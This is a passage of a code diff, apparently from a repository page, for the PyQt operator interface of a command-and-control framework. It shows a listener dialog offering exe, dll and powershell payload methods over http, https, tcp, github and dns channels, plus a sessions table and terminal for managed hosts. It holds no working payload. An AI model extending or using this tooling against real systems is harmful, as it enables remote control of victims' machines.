self.qcomboMethode = QComboBox(self)
|
||||
self.qcomboMethode.addItems(["exe" , "dll" , "powershell" ])
|
||||
self.qcomboMethode.currentTextChanged.connect(self.changeLabels)
|
||||
self.methode = self.qcomboMethode
|
||||
layout.addRow(self.labelMethode, self.methode)
|
||||
|
||||
self.labelType = QLabel("Type")
|
||||
self.qcombo = QComboBox(self)
|
||||
self.qcombo.addItems(["http" , "https" , "tcp" , "github" , "dns"])
|
||||
self.qcombo.currentTextChanged.connect(self.changeLabels)
|
||||
self.type = self.qcombo
|
||||
layout.addRow(self.labelType, self.type)
|
||||
|
||||
self.labelIP = QLabel("IP")
|
||||
self.param1 = QLineEdit()
|
||||
layout.addRow(self.labelIP, self.param1)
|
||||
|
||||
self.labelPort = QLabel("Port")
|
||||
self.param2 = QLineEdit()
|
||||
layout.addRow(self.labelPort, self.param2)
|
||||
|
||||
self.buttonOk = QPushButton('&Generate', clicked=self.generate)
|
||||
layout.addRow(self.buttonOk)
|
||||
|
||||
self.setLayout(layout)
|
||||
self.setWindowTitle("Add Listener")
|
||||
|
||||
|
||||
def changeLabels(self):
|
||||
if self.qcombo.currentText() == "http":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "https":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "tcp":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "github":
|
||||
self.labelIP.setText("Project")
|
||||
self.labelPort.setText("Token")
|
||||
elif self.qcombo.currentText() == "dns":
|
||||
self.labelIP.setText("Domain")
|
||||
self.labelPort.setText("Port")
|
||||
|
||||
|
||||
def generate(self):
|
||||
type = self.type.currentText()
|
||||
param1 = self.param1.text()
|
||||
param2 = self.param2.text()
|
||||
|
||||
print(type, param1, param2)
|
||||
|
||||
# self.procDone.emit(result)
|
||||
# self.close()
|
||||
@@ -170,9 +170,7 @@ class Sessions(QWidget):
|
||||
listenerHash = QTableWidgetItem(sessionStore.listenerHash[0:8])
|
||||
self.listSession.setItem(ix, 2, listenerHash)
|
||||
hostname = QTableWidgetItem(sessionStore.hostname)
|
||||
#hostname = QTableWidgetItem("vulnHost")
|
||||
self.listSession.setItem(ix, 3, hostname)
|
||||
#username = QTableWidgetItem("confidentUser")
|
||||
username = QTableWidgetItem(sessionStore.username)
|
||||
self.listSession.setItem(ix, 4, username)
|
||||
arch = QTableWidgetItem(sessionStore.arch)
|
||||
|
||||
@@ -418,7 +418,6 @@ class Terminal(QWidget):
|
||||
else:
|
||||
self.editorOutput.appendHtml(redText.format(commandLine))
|
||||
helpMsg = """Error: Mode not recognised"""
|
||||
|
||||
line = '\n' + helpMsg + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return;
|
||||
@@ -476,7 +475,6 @@ class Terminal(QWidget):
|
||||
else:
|
||||
self.editorOutput.appendHtml(redText.format(commandLine))
|
||||
helpMsg = """Error: Mode not recognised"""
|
||||
|
||||
line = '\n' + helpMsg + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
return;
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user